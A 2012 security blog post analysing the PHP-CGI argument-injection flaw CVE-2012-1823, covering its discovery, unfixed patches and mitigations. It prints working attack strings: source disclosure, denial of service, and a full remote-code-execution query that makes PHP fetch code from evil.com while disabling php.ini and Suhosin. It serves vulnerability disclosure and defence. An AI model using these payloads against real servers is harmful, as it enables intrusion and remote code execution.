New PHP-CGI exploit: CVE-2012-1823, PoC exploit

Yet Another PHP Security Blog

Archives

Tagged Articles











Links

PHP-Sicherheit
Christopher Kunz ()
VServer Hosting

Thursday, May 3. 2012

New PHP-CGI exploit: CVE-2012-1823, PoC exploit

This article contains various edits to account for recent developments. Stay tuned.


Some folks found an interesting bug while playing CTF at Nullcon 2012. If you run PHP as a plain CGI or via mod_cgid (not FastCGI), you can pass command-line arguments like the “-s” switch (“show source”) to PHP via the query string.


For example, for any PHP-CGI script on your machine, you could see the source via “http://localhost/test.php?-s”. In this case, your web server’s access restrictions still apply. There is more parameters in the PHP-CGI binary (try “php-cgi -h” for a list) which can be used. Some are not available directly (for example, the infamous “-r” parameter that allows to directly pass code for execution doesn’t work), but others are ready for (ab-)use.


This constitutes an easy way to do the following:

  • Find out database passwords, file locations etc.
  • DoS the server
  • Execute any file on the server’s local disk
  • If you have the possibility to upload a file to the server, execute any code

I haven’t found a way to reliably execute remote code without a file upload possibility, but I am sure there are better exploit writers than me already working on this. As far as I understand the original advisory, there is a trivial RCE possibility that I have probably missed.


Remote Code execution is universally possible and not mitigated by any current security setting or extension. There are workarounds (see below).


As the authors of the advisory point out, several months have passed since initial reporting. The PHP team does not currently seem to have a universally compatible fix, so there are several external ways for mitigation (also mentioned in the advisory). However, emergency releases are scheduled for tomorrow, May 4th, according to well-informed sources. It’s not quite clear why the fix took so long (and if the disclosure timeline in the advisory accurately reflects both sides of the incident), but the fact that someone accidentially disclosed the bug on reddit sure didn’t help.
Read the original advisory here: http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/

Update: PHP 5.3.12 and PHP 5.4.2 have just been released and at least 5.4.2 does not, I repeat does not fix the bug. Right now, mod_rewrite or other external mitigation seems the only way to circumvent the issue. PHP 5.3.12 / 5.4.2 release statement


More Updates and PoC exploit in the extended section

Update: As there has been a Metasploit Release for CVE 2012-1823 including remote command shell capabilities, I see no reason to hold back more detailed information.

There are several avenues of attack here:


  • Code disclosure with /?-s (this is the most well-known one)
  • DoS with “?-T+100000” (careful, this will DoS your browser rendering engine too, so you should do this via cURL)
  • Arbitrary file execution circumventing all ACLs apart from the OS ACLs: Bind a FastCGI instance with -b 12345, then proxy a request (via nginx + Fastcgi proxy module, for example) and set SCRIPT_FILENAME accordingly. It’s a bit contrived, but just for the sake of completeness
  • Remote Code execution: /?-d%20allow_url_include%3DOn+-d%20auto_prepend_file%3Dhttp://evil.com/code.txt%20-n - this negates php.ini settings and Suhosin extension (since the “-n” flag tells PHP not to use an php.ini file at all, hence the Suhosin extension is not loaded).

There are variations of the RCE bug that use php://input or /proc/self/environ and a faked user-agent, but essentially this is it.

Posted by
Comment (1) Trackbacks (7)
Defined tags for this entry: , , , , , , , , , ,
Related entries by tags:

Trackbacks
Trackback specific URI for this entry

Attack against PHP-CGI - DoS, Code disclosure and more...
There is a new PHP bug that just became public today (leaked accidentially, it seems...). A flaw in the PHP CGI’s input sanitation process allows attackers to set command-line options via the query string.This behavior seems to be an oversight / mis
Weblog: Dr. Christopher Kunz
Tracked: May 03, 17:44
Mitigation for CVE-2012-1823 / CVE-2012-2311?
So PHP 5.4.2 and 5.3.12 do not fix the security issue reported in CVE-2012-1823 and discussed here earlier. The original advisory has a number of mitigation opportunities and an additional patch, and PHP.net has a RewriteRule online as a hotfix. I want
Weblog: Yet Another PHP Security Blog
Tracked: May 04, 08:47
Mitigation for CVE-2012-1823 / CVE-2012-2311?
So PHP 5.4.2 and 5.3.12 do not fix the security issue reported in CVE-2012-1823 and discussed here earlier. The original advisory has a number of mitigation opportunities and an additional patch, and PHP.net has a RewriteRule online as a hotfix. I want
Weblog: Yet Another PHP Security Blog
Tracked: May 04, 08:47
Mitigation for CVE-2012-1823 / CVE-2012-2311?
So PHP 5.4.2 and 5.3.12 do not fix the security issue reported in CVE-2012-1823 and discussed here earlier. The original advisory has a number of mitigation opportunities and an additional patch, and PHP.net has a RewriteRule online as a hotfix. I want
Weblog: Yet Another PHP Security Blog
Tracked: May 04, 08:47
PingBack
Weblog: witsserver.in
Tracked: May 05, 18:25
Neue PHP-Lücke bedroht CGI-Installationen
Eine neue Lücke, die letzte Woche zufällig (lies: unabsichtlich) veröffentlicht wurde, hält derzeit die PHP-Entwickler in Atem. Der Fehler, der seit mindestens 2004 existiert, ist auf eine fehlerhafte Implementierung der CGI-Spezifikation zurückzuführen.
Weblog: PHP-Sicherheit
Tracked: May 08, 10:10
PingBack
Weblog: witsserver.in
Tracked: May 09, 13:20

Comments
Display comments as (Linear | Threaded)

#1 - Tester 2012-05-07 09:23 - (Reply)

So if a msf exploit is out, why don;t you release your PoC too ?
Please do that.


Add Comment

Enclosing asterisks marks text as bold (*word*), underscore are made via _word_.
Standard emoticons like :-) and ;-) are converted to images.

To prevent automated Bots from commentspamming, please enter the string you see in the image below in the appropriate input box. Your comment will only be submitted if the strings match. Please ensure that your browser supports and accepts cookies, or your comment cannot be verified correctly.
CAPTCHA
 
 

Frontpage - Top level